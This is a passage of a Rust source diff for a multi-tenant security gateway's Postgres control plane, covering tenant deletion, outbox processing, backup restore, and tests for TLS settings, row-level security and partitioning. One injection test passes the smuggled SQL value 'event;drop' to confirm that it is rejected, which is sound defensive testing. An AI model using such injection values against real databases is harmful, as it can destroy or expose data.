&tenant_id, + &message.message_id, + &message.aggregate_id, + &message.aggregate_version, + &message.event_type, + &message.schema_version, + &message.created_unix, + &message.payload_json, + &message.payload_hash, + &message.idempotency_key, + &message.message_status, + &message.lease_owner, + &message.lease_expires_unix, + &message.attempt_count, + &message.first_attempt_unix, + &message.last_attempt_unix, + &message.next_available_unix, + &message.terminal_reason, + ], + ) + .await + .map_err(|error| format!("control plane restore outbox_message failed: {error}"))?; + Ok(()) +} + +async fn drop_tenant(client: &mut Client, tenant_id: &str) -> Result<(), String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane drop-tenant transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + for table in [ + "outbox_receipt", + "outbox_message", + "threat_feed", + "audit_record", + "security_event", + "dnsbl_entry", + "threat_indicator", + "route_config", + "tenant_profile", + "tenant_account", + ] { + tx.execute( + &format!("DELETE FROM {table} WHERE tenant_id = $1"), + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane drop {table} failed: {error}"))?; + } + tx.commit() + .await + .map_err(|error| format!("control plane drop-tenant commit failed: {error}"))?; + Ok(()) +} + +fn unix_now_i64() -> i64 { + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs() as i64 +} + +fn mode_sql(mode: &EnforcementMode) -> &'static str { + match mode { + EnforcementMode::Monitor => "monitor", + EnforcementMode::Block => "block", + } +} + +fn parse_mode(value: &str) -> Result { + match value { + "monitor" => Ok(EnforcementMode::Monitor), + "block" => Ok(EnforcementMode::Block), + other => Err(format!("unknown enforcement_mode {other}")), + } +} + +fn severity_sql(severity: &Severity) -> &'static str { + match severity { + Severity::Low => "low", + Severity::Medium => "medium", + Severity::High => "high", + Severity::Critical => "critical", + } +} + +fn parse_severity(value: &str) -> Result { + match value { + "low" => Ok(Severity::Low), + "medium" => Ok(Severity::Medium), + "high" => Ok(Severity::High), + "critical" => Ok(Severity::Critical), + other => Err(format!("unknown severity_name {other}")), + } +} + +fn edition_sql(edition: &ProductEdition) -> &'static str { + match edition { + ProductEdition::Community => "community", + ProductEdition::Evaluation => "evaluation", + ProductEdition::Enterprise => "enterprise", + } +} + +fn parse_edition(value: &str) -> Result { + match value { + "community" => Ok(ProductEdition::Community), + "evaluation" => Ok(ProductEdition::Evaluation), + "enterprise" => Ok(ProductEdition::Enterprise), + other => Err(format!("unknown edition_name {other}")), + } +} + +fn license_sql(status: &LicenseStatus) -> &'static str { + match status { + LicenseStatus::Unlicensed => "unlicensed", + LicenseStatus::Evaluation => "evaluation", + LicenseStatus::Active => "active", + LicenseStatus::Expired => "expired", + } +} + +fn parse_license(value: &str) -> Result { + match value { + "unlicensed" => Ok(LicenseStatus::Unlicensed), + "evaluation" => Ok(LicenseStatus::Evaluation), + "active" => Ok(LicenseStatus::Active), + "expired" => Ok(LicenseStatus::Expired), + other => Err(format!("unknown license_status {other}")), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn production_bind_requires_control_plane_url() { + require_postgres_for_bind("0.0.0.0:8080", None).unwrap_err(); + require_postgres_for_bind("0.0.0.0:8080", Some("postgres://wardnet@db/wardnet")) + .unwrap_err(); + require_postgres_for_bind( + "0.0.0.0:8080", + Some("postgres://wardnet@db/wardnet?sslmode=disable"), + ) + .unwrap_err(); + require_postgres_for_bind( + "0.0.0.0:8080", + Some("postgres://wardnet@db/wardnet?sslmode=verify-full"), + ) + .unwrap(); + require_postgres_for_bind( + "0.0.0.0:8080", + Some("postgres://wardnet@db/wardnet?sslmode=require&sslmode=disable"), + ) + .unwrap_err(); + require_postgres_for_bind("127.0.0.1:8080", None).unwrap(); + require_postgres_for_bind("[::1]:8080", None).unwrap(); + require_postgres_for_bind( + "127.0.0.1:8080", + Some("postgres://wardnet@127.0.0.1/wardnet?sslmode=disable"), + ) + .unwrap(); + } + + #[test] + fn database_url_rejects_non_postgres_and_ambiguous_sslmode() { + parse_database_url("").unwrap_err(); + parse_database_url("mysql://x").unwrap_err(); + parse_database_url("postgres://wardnet@127.0.0.1/wardnet?sslmode=prefer").unwrap_err(); + parse_database_url("postgres://wardnet@127.0.0.1/wardnet?sslmode=allow").unwrap_err(); + parse_database_url("postgres://wardnet@127.0.0.1/wardnet?sslmode=require&sslmode=disable") + .unwrap_err(); + parse_database_url("postgres://wardnet@127.0.0.1/wardnet?sslmode=require").unwrap(); + parse_database_url("postgres://wardnet@127.0.0.1/wardnet?sslmode=verify-full").unwrap(); + parse_database_url("postgres://wardnet@127.0.0.1/wardnet").unwrap(); + parse_database_url("postgresql://wardnet@127.0.0.1/wardnet?sslmode=disable").unwrap(); + assert_eq!( + ssl_mode("postgres://wardnet@127.0.0.1/wardnet").unwrap(), + SslMode::Disable + ); + assert_eq!( + ssl_mode("postgres://wardnet@127.0.0.1/wardnet?sslmode=require").unwrap(), + SslMode::Require + ); + assert_eq!( + ssl_mode("postgres://wardnet@127.0.0.1/wardnet?sslmode=verify-full").unwrap(), + SslMode::Require + ); + assert_eq!( + ssl_mode("postgres://wardnet@127.0.0.1/wardnet?sslmode=verify-ca").unwrap(), + SslMode::Require + ); + assert_eq!( + ssl_mode("postgres://wardnet@127.0.0.1/wardnet?connect_timeout=5&sslmode=disable") + .unwrap(), + SslMode::Disable + ); + assert!( + ssl_mode("postgres://wardnet@127.0.0.1/wardnet?sslmode=require&sslmode=disable") + .is_err() + ); + assert_eq!( + ssl_mode("postgres://wardnet:p?ss@127.0.0.1/wardnet?sslmode=require").unwrap(), + SslMode::Require + ); + assert_eq!( + rewrite_sslmode_for_tokio( + "postgres://wardnet:sslmode=verify-full@127.0.0.1/wardnet?sslmode=verify-full" + ), + "postgres://wardnet:sslmode=verify-full@127.0.0.1/wardnet?sslmode=require" + ); + assert_eq!( + rewrite_sslmode_for_tokio( + "postgres://wardnet@127.0.0.1/wardnet?sslmode=verify-ca&connect_timeout=5" + ), + "postgres://wardnet@127.0.0.1/wardnet?sslmode=require&connect_timeout=5" + ); + use std::str::FromStr; + tokio_postgres::Config::from_str( + "postgres://wardnet@127.0.0.1/wardnet?sslmode=verify-full", + ) + .expect_err("tokio-postgres 0.7 rejects verify-full"); + tokio_postgres::Config::from_str(&rewrite_sslmode_for_tokio( + "postgres://wardnet@127.0.0.1/wardnet?sslmode=verify-full", + )) + .expect("rewritten verify-full must parse as require"); + } + + #[tokio::test] + async fn require_tls_fails_closed_against_plaintext_postgres() { + let Ok(url) = std::env::var("CONTROL_PLANE_TEST_DATABASE_URL") else { + return; + }; + if url.trim().is_empty() { + return; + } + let separator = if url.contains('?') { '&' } else { '?' }; + for mode in ["require", "verify-ca", "verify-full"] { + let tls_url = format!("{url}{separator}sslmode={mode}"); + let error = match PostgresPlane::connect(&tls_url).await { + Ok(_) => panic!("plaintext CI postgres must not satisfy rustls ({mode})"), + Err(error) => error, + }; + assert!( + !error.to_ascii_lowercase().contains("invalid value"), + "{mode} must not fail as a tokio-postgres config parse: {error}" + ); + assert!( + error.contains("TLS") || error.contains("ssl") || error.contains("certificate"), + "operator must see a TLS failure for {mode}, not a silent plaintext fallback: {error}" + ); + } + } + + #[test] + fn migration_sql_is_3nf_rls_and_two_word_names() { + for table in [ + "tenant_account", + "tenant_profile", + "route_config", + "threat_indicator", + "dnsbl_entry", + "security_event", + "audit_record", + "threat_feed", + "outbox_message", + "outbox_receipt", + "schema_migration", + ] { + assert!(MIGRATION_SQL.contains(table), "missing table {table}"); + } + assert!(MIGRATION_SQL.contains("FORCE ROW LEVEL SECURITY")); + assert!(MIGRATION_SQL.contains("wardnet.tenant_id")); + assert!(MIGRATION_SQL.contains("wardnet_runtime")); + assert!(MIGRATION_SQL.contains("NOBYPASSRLS")); + assert!(MIGRATION_SQL.contains("PRIMARY KEY (tenant_id, route_id)")); + assert!(MIGRATION_SQL.contains("REFERENCES tenant_account")); + assert!(MIGRATION_SQL.contains("UNIQUE (tenant_id, idempotency_key)")); + assert!( + !MIGRATION_SQL.contains("json_blob"), + "do not dump AppData as one JSON column" + ); + } + + #[tokio::test] + async fn postgres_roundtrip_seeded_snapshot_when_database_url_is_set() { + let Ok(url) = std::env::var("CONTROL_PLANE_TEST_DATABASE_URL") else { + return; + }; + if url.trim().is_empty() { + return; + } + let tenant = unique_tenant("roundtrip"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database must accept the control plane"); + let seeded = AppData::seeded(); + plane.save(&seeded).await.expect("save seeded snapshot"); + let loaded = plane + .load() + .await + .expect("load snapshot") + .expect("tenant rows must exist after save"); + assert_eq!(loaded.routes, seeded.routes); + assert_eq!(loaded.threats, seeded.threats); + assert_eq!(loaded.dnsbl, seeded.dnsbl); + assert_eq!(loaded.next_event_id, seeded.next_event_id); + assert_eq!(loaded.commercial.tenant_id, tenant); + let messages = plane + .list_outbox_limited(LIST_LIMIT) + .await + .expect("list snapshot outbox"); + assert!( + messages + .iter() + .any(|message| message.event_type == EVENT_SNAPSHOT_REPLACED), + "snapshot persist must enqueue an outbox row" + ); + } + + fn test_database_url() -> Option { + std::env::var("CONTROL_PLANE_TEST_DATABASE_URL") + .ok() + .filter(|url| !url.trim().is_empty()) + } + + fn unique_tenant(label: &str) -> String { + format!( + "{label}-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .expect("clock after epoch") + .as_nanos() + ) + } + + #[test] + fn rejects_future_schema_versions() { + let error = ensure_supported_migration_version(MIGRATION_VERSION + 1) + .expect_err("future schema must fail closed"); + assert!(error.contains("newer than this binary supports")); + } + + fn sample_event(id: u64, path: &str) -> SecurityEvent { + SecurityEvent { + id, + timestamp_unix: 1_700_000_000, + client_ip: Some("198.51.100.20".parse().expect("documentation IP")), + route_id: Some("demo".into()), + action: "blocked".into(), + reason: "fixture".into(), + score: 80, + path: path.into(), + } + } + + #[test] + fn seeded_commercial_profile_preserves_the_requested_tenant() { + let profile = seeded_commercial_for_tenant("tenant-fresh-42"); + assert_eq!(profile.tenant_id, "tenant-fresh-42"); + assert_eq!( + profile.deployment_id, + CommercialProfile::seeded().deployment_id + ); + } + + #[tokio::test] + async fn postgres_appends_event_and_outbox_atomically() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-append"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database must accept the control plane"); + plane + .save(&AppData::seeded()) + .await + .expect("seed tenant snapshot"); + let setup_now = unix_now_i64().saturating_add(60); + let _ = plane + .drain_once("setup", setup_now, |_| Ok("setup".into())) + .await + .expect("ack snapshot outbox"); + let event = sample_event(7, "/gateway/login"); + let (persisted, snapshot_version) = plane + .append_security_event(&event, 1_000) + .await + .expect("append event + outbox"); + let loaded = plane.load().await.expect("load").expect("tenant exists"); + assert!( + loaded + .events + .iter() + .any(|row| row.id == persisted.id && row.path == "/gateway/login"), + "event must round-trip unmasked" + ); + assert_eq!(loaded.next_event_id, persisted.id.saturating_add(1)); + assert_eq!(loaded.snapshot_version, snapshot_version); + let messages = plane + .list_outbox_limited(LIST_LIMIT) + .await + .expect("list outbox"); + let recorded = messages + .iter() + .find(|message| message.event_type == EVENT_SECURITY_RECORDED) + .expect("security event outbox row"); + assert!(recorded.payload_json.contains("198.51.100.20")); + assert!(recorded.payload_json.contains("/gateway/login")); + assert_eq!(recorded.message_status, STATUS_PENDING); + let (retried, _) = plane + .append_security_event(&event, 1_000) + .await + .expect("repeated append allocates a distinct durable event id"); + assert_ne!(retried.id, persisted.id); + let again = plane + .list_outbox_limited(LIST_LIMIT) + .await + .expect("list after retry"); + assert_eq!( + again + .iter() + .filter(|message| message.event_type == EVENT_SECURITY_RECORDED) + .count(), + 2, + "repeated appends must produce distinct outbox rows after durable id allocation" + ); + } + + #[tokio::test] + async fn postgres_save_replaces_only_the_selected_tenants_events() { + let Some(url) = test_database_url() else { + return; + }; + let tenant_a = unique_tenant("snapshot-events-a"); + let tenant_b = unique_tenant("snapshot-events-b"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant_a) + .await + .expect("tenant A database"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant_b) + .await + .expect("tenant B database"); + plane_a.save(&AppData::seeded()).await.expect("seed A"); + plane_b.save(&AppData::seeded()).await.expect("seed B"); + plane_a + .append_security_event(&sample_event(1, "/stale"), 100) + .await + .expect("append stale A event"); + plane_a + .append_security_event(&sample_event(2, "/retained"), 100) + .await + .expect("append retained A event"); + plane_b + .append_security_event(&sample_event(1, "/other-tenant"), 100) + .await + .expect("append B event"); + + let mut snapshot = plane_a.load().await.expect("load A").expect("A exists"); + snapshot.events.retain(|event| event.id == 2); + plane_a.save(&snapshot).await.expect("replace A snapshot"); + + let loaded_a = plane_a.load().await.expect("reload A").expect("A exists"); + assert_eq!(loaded_a.events.len(), 1); + assert_eq!(loaded_a.events[0].path, "/retained"); + let loaded_b = plane_b.load().await.expect("reload B").expect("B exists"); + assert!( + loaded_b + .events + .iter() + .any(|event| event.path == "/other-tenant") + ); + } + + #[tokio::test] + async fn postgres_outbox_worker_is_idempotent_and_dead_letters() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-worker"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database"); + plane.save(&AppData::seeded()).await.expect("seed"); + let now = unix_now_i64().saturating_add(60); + let _ = plane + .drain_once("setup", now, |_| Ok("setup".into())) + .await + .expect("ack snapshot outbox"); + plane + .append_security_event(&sample_event(1, "/one"), 100) + .await + .expect("enqueue"); + + let dispatched = std::sync::Arc::new(std::sync::Mutex::new(Vec::::new())); + let seen = dispatched.clone(); + let processed = plane + .drain_once("worker-a", now, move |message| { + seen.lock() + .expect("dispatcher lock") + .push(message.message_id.clone()); + Ok(format!("ack:{}", message.payload_hash)) + }) + .await + .expect("first drain"); + assert_eq!(processed, 1); + assert_eq!(dispatched.lock().expect("dispatcher lock").len(), 1); + + let processed_again = plane + .drain_once("worker-a", now.saturating_add(30), |_| { + panic!("processed messages must not be claimed again") + }) + .await + .expect("second drain"); + assert_eq!(processed_again, 0); + + plane + .append_security_event(&sample_event(2, "/poison"), 100) + .await + .expect("poison enqueue"); + let _ = plane + .drain_once("worker-a", now.saturating_add(60), |_| { + Err(crate::outbox::DispatchError::Permanent("malformed".into())) + }) + .await + .expect("dead-letter drain"); + let health = plane + .outbox_health(now.saturating_add(60)) + .await + .expect("health"); + assert_eq!(health.status, "ready"); + assert_eq!(health.dead_letter, 1); + + let dead = plane + .list_outbox_limited(LIST_LIMIT) + .await + .expect("list") + .into_iter() + .find(|message| message.message_status == STATUS_DEAD_LETTER) + .expect("dead letter row"); + plane + .replay_dead_letter(&dead.message_id, now.saturating_add(90)) + .await + .expect("authorized replay"); + let replayed = plane + .drain_once( + "worker-b", + now.saturating_add(90), + |_| Ok("replayed".into()), + ) + .await + .expect("replay drain"); + assert_eq!(replayed, 1); + } + + #[tokio::test] + async fn postgres_expired_lease_is_reclaimed_and_skip_locked_is_exclusive() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-lease"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane a"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane b"); + plane_a.save(&AppData::seeded()).await.expect("seed"); + let now = unix_now_i64().saturating_add(60); + let _ = plane_a + .drain_once("setup", now, |_| Ok("setup".into())) + .await + .expect("ack snapshot outbox"); + plane_a + .append_security_event(&sample_event(3, "/lease"), 100) + .await + .expect("enqueue"); + + let first = plane_a + .drain_once("worker-a", now, |_| { + Err(crate::outbox::DispatchError::Transient("timeout".into())) + }) + .await + .expect("lease then fail transient"); + assert_eq!(first, 0); + let listed = plane_a + .list_outbox_limited(LIST_LIMIT) + .await + .expect("list after fail"); + let pending = listed + .iter() + .find(|message| message.event_type == EVENT_SECURITY_RECORDED) + .expect("event still queued"); + assert_eq!(pending.message_status, STATUS_PENDING); + assert!(pending.next_available_unix > now); + + let later = pending.next_available_unix; + let reclaimed = plane_b + .drain_once("worker-b", later, |_| Ok("reclaimed".into())) + .await + .expect("expired/next-available reclaim"); + assert_eq!(reclaimed, 1); + } + + #[tokio::test] + async fn postgres_parallel_connect_does_not_race_grants() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("parallel-grant"); + let (first, second) = tokio::join!( + PostgresPlane::connect_tenant(&url, &tenant), + PostgresPlane::connect_tenant(&url, &tenant), + ); + first.expect("first parallel connect"); + second.expect("second parallel connect"); + } + + #[tokio::test] + async fn postgres_outbox_list_is_bounded_and_prunes_processed() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-bound"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database"); + plane.save(&AppData::seeded()).await.expect("seed"); + let now = unix_now_i64().saturating_add(60); + let _ = plane + .drain_once("setup", now, |_| Ok("setup".into())) + .await + .expect("ack snapshot outbox"); + for id in 1..=5 { + plane + .append_security_event(&sample_event(id, "/bound"), 3) + .await + .expect("enqueue"); + } + let processed = plane + .drain_once("worker-bound", now.saturating_add(30), |_| Ok("ack".into())) + .await + .expect("drain pending"); + assert_eq!(processed, 5); + plane + .append_security_event(&sample_event(6, "/bound-tail"), 3) + .await + .expect("append that prunes processed"); + let listed = plane + .list_outbox_limited(100) + .await + .expect("list after prune"); + assert_eq!( + listed + .iter() + .filter(|message| message.message_status == STATUS_PROCESSED) + .count(), + 3, + "processed outbox rows must be retained like EVENT_LIMIT" + ); + assert_eq!( + listed + .iter() + .filter(|message| message.message_status == STATUS_PENDING) + .count(), + 1 + ); + let bounded = plane.list_outbox_limited(2).await.expect("bounded list"); + assert_eq!(bounded.len(), 2); + assert_eq!(bounded[0].message_status, STATUS_PENDING); + let _ = plane + .drain_once("worker-bound", now.saturating_add(60), |_| { + Err(crate::outbox::DispatchError::Permanent("malformed".into())) + }) + .await + .expect("dead-letter the tail"); + let health = plane + .outbox_health(now.saturating_add(60)) + .await + .expect("health after poison"); + assert_eq!(health.dead_letter, 1); + for id in 7..=10 { + plane + .append_security_event(&sample_event(id, "/bound-more"), 3) + .await + .expect("more events after dead letter"); + let _ = plane + .drain_once("worker-bound", now.saturating_add(90 + id as i64), |_| { + Ok("ack".into()) + }) + .await + .expect("drain extra"); + } + let after = plane + .list_outbox_limited(100) + .await + .expect("list dead letter"); + assert!( + after + .iter() + .any(|message| message.message_status == STATUS_DEAD_LETTER), + "dead letters must not be pruned" + ); + } + + #[tokio::test] + async fn postgres_ack_and_save_prune_to_configured_event_limit() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-ack-limit"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database") + .with_event_limit(2); + plane.save(&AppData::seeded()).await.expect("seed"); + let now = unix_now_i64().saturating_add(60); + let _ = plane + .drain_once("setup", now, |_| Ok("setup".into())) + .await + .expect("ack snapshot outbox"); + for id in 1..=4 { + plane + .append_security_event(&sample_event(id, "/ack-limit"), 1_000) + .await + .expect("enqueue pending"); + } + let processed = plane + .drain_once("worker-ack-limit", now.saturating_add(30), |_| { + Ok("ack".into()) + }) + .await + .expect("drain pending"); + assert_eq!(processed, 4); + let listed = plane + .list_outbox_limited(100) + .await + .expect("list after ack prune"); + assert_eq!( + listed + .iter() + .filter(|message| message.message_status == STATUS_PROCESSED) + .count(), + 2, + "ack must prune processed rows to the configured EVENT_LIMIT, not LIST_LIMIT" + ); + let current = plane + .load() + .await + .expect("load for prune save") + .expect("tenant exists"); + plane + .save(¤t) + .await + .expect("save must use the same retention cap"); + let after_save = plane + .list_outbox_limited(100) + .await + .expect("list after save prune"); + assert_eq!( + after_save + .iter() + .filter(|message| message.message_status == STATUS_PROCESSED) + .count(), + 2, + "save_snapshot must prune processed rows to EVENT_LIMIT" + ); + } + + #[test] + fn backup_verify_fails_closed_on_schema_and_hash() { + let backup = ControlPlaneBackup { + schema_version: MIGRATION_VERSION, + tenant_id: "local-lab".into(), + created_unix: 1, + snapshot: AppData::seeded(), + outbox: Vec::new(), + receipts: Vec::new(), + payload_hash: String::new(), + } + .seal() + .expect("seal"); + assert!(backup.verify().is_ok()); + + let mut prior = backup.clone(); + prior.schema_version = MIN_RESTORABLE_SCHEMA_VERSION; + let prior = prior.seal().expect("re-seal compatible prior schema"); + assert!( + prior.verify().is_ok(), + "role-only schema 3 must restore schema-{MIN_RESTORABLE_SCHEMA_VERSION} logical backups" + ); + + let mut too_old = backup.clone(); + too_old.schema_version = MIN_RESTORABLE_SCHEMA_VERSION - 1; + assert!( + too_old + .verify() + .expect_err("older than restorable window") + .contains("unsupported") + ); + + let mut bad_schema = backup.clone(); + bad_schema.schema_version = MIGRATION_VERSION + 1; + assert!( + bad_schema + .verify() + .expect_err("future schema") + .contains("unsupported") + ); + + let mut bad_hash = backup.clone(); + bad_hash.payload_hash = "deadbeef".into(); + assert!( + bad_hash + .verify() + .expect_err("tamper") + .contains("payload_hash") + ); + } + + #[tokio::test] + async fn postgres_backup_restore_drill_preserves_unmasked_invariants() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("backup-drill"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database") + .with_event_limit(10); + let mut seeded = AppData::seeded(); + seeded.events.push(sample_event(1, "/backup-restore")); + seeded.next_event_id = 2; + plane.save(&seeded).await.expect("seed with unmasked event"); + let now = unix_now_i64().saturating_add(60); + plane + .append_security_event(&sample_event(2, "/backup-path"), 10) + .await + .expect("enqueue"); + let _ = plane + .drain_once("backup-worker", now, |_| Ok("backup-ack".into())) + .await + .expect("process one"); + let backup = plane.logical_backup().await.expect("export backup"); + backup.verify().expect("self-hash"); + assert!( + backup + .snapshot + .events + .iter() + .any(|event| event.path == "/backup-restore" + && event.client_ip.map(|ip| ip.to_string()) == Some("198.51.100.20".into())), + "backup must keep client IPs and paths unmasked" + ); + assert!( + backup + .outbox + .iter() + .any(|message| message.payload_json.contains("198.51.100.20")), + "outbox payloads must keep client IPs unmasked" + ); + + let isolated = unique_tenant("backup-restore-target"); + let target = PostgresPlane::connect_tenant(&url, &isolated) + .await + .expect("isolated restore tenant"); + target + .restore_logical_backup(&backup) + .await + .expect("restore into isolated tenant"); + let restored = target.logical_backup().await.expect("re-export restored"); + assert_eq!(restored.snapshot.routes, backup.snapshot.routes); + assert_eq!(restored.snapshot.events, backup.snapshot.events); + assert_eq!(restored.outbox.len(), backup.outbox.len()); + assert_eq!(restored.receipts.len(), backup.receipts.len()); + assert_eq!( + restored.semantic_hash().expect("restored hash"), + backup.semantic_hash().expect("source hash") + ); + + let report = plane.restore_drill().await.expect("isolated drill"); + assert!(report.passed, "drill must match source and restored hashes"); + assert!( + report.duration_ms <= BACKUP_RTO_BUDGET_MS, + "drill duration {}ms exceeds declared RTO {}ms", + report.duration_ms, + BACKUP_RTO_BUDGET_MS + ); + assert_eq!(report.rpo, BACKUP_RPO); + assert!( + plane + .load() + .await + .expect("source tenant still loads") + .is_some(), + "drill must not drop the production tenant" + ); + } + + #[tokio::test] + async fn postgres_runtime_role_is_not_superuser_and_rls_default_denies() { + let Some(url) = test_database_url() else { + return; + }; + let tenant_a = unique_tenant("runtime-a"); + let tenant_b = unique_tenant("runtime-b"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant_a) + .await + .expect("plane a"); + let (role, superuser) = plane_a.runtime_identity().await.expect("runtime identity"); + assert_eq!(role, RUNTIME_ROLE); + assert!(!superuser, "runtime role must not be a superuser"); + assert!( + plane_a.runtime_ddl_is_denied().await.expect("ddl probe"), + "runtime role must not DROP TABLE or DISABLE ROW LEVEL SECURITY" + ); + plane_a + .save(&AppData::seeded()) + .await + .expect("save tenant a"); + assert_eq!( + plane_a + .unscoped_route_count() + .await + .expect("unscoped count"), + 0, + "missing wardnet.tenant_id must yield no rows under FORCE RLS" + ); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant_b) + .await + .expect("plane b"); + assert!( + plane_b.load().await.expect("load tenant b").is_none(), + "tenant b must not observe tenant a rows" + ); + let loaded_a = plane_a + .load() + .await + .expect("load tenant a") + .expect("tenant a rows"); + assert!(!loaded_a.routes.is_empty()); + } + + #[test] + fn hash_partition_parent_rejects_injection() { + assert!(hash_partition_sql_for("security_event").is_ok()); + assert!(hash_partition_sql_for("event_hash_probe").is_ok()); + assert!(hash_partition_sql_for("event;drop").is_err()); + assert!(hash_partition_sql_for("Event").is_err()); + assert!(hash_partition_sql_for("").is_err()); + let sql = hash_partition_sql_for("security_event").expect("sql"); + assert!(sql.contains("PARTITION BY HASH (tenant_id)")); + assert!(sql.contains(&format!("MODULUS {EVENT_PARTITION_MODULUS}"))); + } + + #[test] + fn hash_partition_runtime_grants_stay_on_parent_only() { + let sql = hash_partition_sql_for("security_event").expect("sql"); + assert!(sql.contains( + "GRANT SELECT, INSERT, UPDATE, DELETE ON security_event TO wardnet_runtime;" + )); + assert!( + !sql.contains("GRANT SELECT, INSERT, UPDATE, DELETE ON security_event_p"), + "runtime role must not bypass parent RLS through direct child grants" + ); + } + + async fn owner_client(url: &str) -> tokio_postgres::Client { + let (client, connection) = tokio_postgres::connect(url, tokio_postgres::NoTls) + .await + .expect("owner connect"); + tokio::spawn(async move { + let _ = connection.await; + }); + client + } + + #[tokio::test] + async fn postgres_security_event_is_hash_partitioned() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("event-hash"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane"); + assert_eq!( + plane + .event_partition_count() + .await + .expect("partition count"), + i64::from(EVENT_PARTITION_MODULUS) + ); + let mut seeded = AppData::seeded(); + seeded.events.push(sample_event(1, "/hash-path")); + seeded.next_event_id = 2; + plane.save(&seeded).await.expect("seed with unmasked event"); + let loaded = plane.load().await.expect("load").expect("snapshot"); + assert!( + loaded.events.iter().any(|event| event.path == "/hash-path" + && event.client_ip.map(|ip| ip.to_string()) == Some("198.51.100.20".into())), + "HASH partitions must keep client IPs and paths unmasked" + ); + let tableoid = plane + .security_event_tableoid() + .await + .expect("child tableoid"); + assert!( + tableoid.starts_with("security_event_p"), + "row must land in a HASH child, got {tableoid}" + ); + } + + #[tokio::test] + async fn postgres_hash_partition_convert_preserves_unmasked_probe_rows() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("hash-probe"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane so tenant_account and role exist"); + plane.save(&AppData::seeded()).await.expect("seed tenant"); + + let client = owner_client(&url).await; + client + .batch_execute( + "DROP TABLE IF EXISTS event_hash_probe CASCADE; + CREATE TABLE event_hash_probe ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + event_id BIGINT NOT NULL, + timestamp_unix BIGINT NOT NULL, + client_address TEXT, + route_id TEXT, + action_name TEXT NOT NULL, + event_reason TEXT NOT NULL, + event_score INTEGER NOT NULL, + request_path TEXT NOT NULL, + PRIMARY KEY (tenant_id, event_id) + ); + ALTER TABLE event_hash_probe ENABLE ROW LEVEL SECURITY; + ALTER TABLE event_hash_probe FORCE ROW LEVEL SECURITY; + CREATE POLICY tenant_isolation ON event_hash_probe + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true));", + ) + .await + .expect("unpartitioned probe"); + client + .execute( + "INSERT INTO event_hash_probe ( + tenant_id, event_id, timestamp_unix, client_address, route_id, + action_name, event_reason, event_score, request_path + ) VALUES ($1, 1, 1700000000, '198.51.100.20', 'demo', 'blocked', 'fixture', 80, '/probe-path')", + &[&tenant], + ) + .await + .expect("probe row"); + let sql = hash_partition_sql_for("event_hash_probe").expect("probe sql"); + client + .batch_execute(&sql) + .await + .expect("convert unpartitioned probe"); + let kind: String = client + .query_one( + "SELECT relkind::text FROM pg_class WHERE relname = 'event_hash_probe'", + &[], + ) + .await + .expect("kind") + .get(0); + assert_eq!(kind, "p"); + let children: i64 = client + .query_one( + "SELECT COUNT(*)::bigint FROM pg_partition_tree('event_hash_probe'::regclass) WHERE level = 1", + &[], + ) + .await + .expect("children") + .get(0); + assert_eq!(children, i64::from(EVENT_PARTITION_MODULUS)); + client + .execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant], + ) + .await + .expect("tenant scope"); + let row = client + .query_one( + "SELECT client_address, request_path, tableoid::regclass::text + FROM event_hash_probe WHERE event_id = 1", + &[], + ) + .await + .expect("converted row"); + let ip: String = row.get(0); + let path: String = row.get(1); + let tableoid: String = row.get(2); + assert_eq!(ip, "198.51.100.20"); + assert_eq!(path, "/probe-path"); + assert!( + tableoid.starts_with("event_hash_probe_p"), + "converted row must land in a HASH child, got {tableoid}" + ); + client + .batch_execute("DROP TABLE IF EXISTS event_hash_probe CASCADE") + .await + .expect("drop probe"); + } + + #[tokio::test] + async fn postgres_stale_snapshot_save_conflicts() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("occ"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane a"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane b"); + plane_a.save(&AppData::seeded()).await.expect("first save"); + let mut loaded_a = plane_a.load().await.expect("load a").expect("tenant a"); + let loaded_b = plane_b.load().await.expect("load b").expect("tenant b"); + assert_eq!(loaded_a.snapshot_version, loaded_b.snapshot_version); + loaded_a.routes[0].path_prefix = "/occ-a".into(); + plane_a.save(&loaded_a).await.expect("winner save"); + let mut stale = loaded_b; + stale.routes[0].path_prefix = 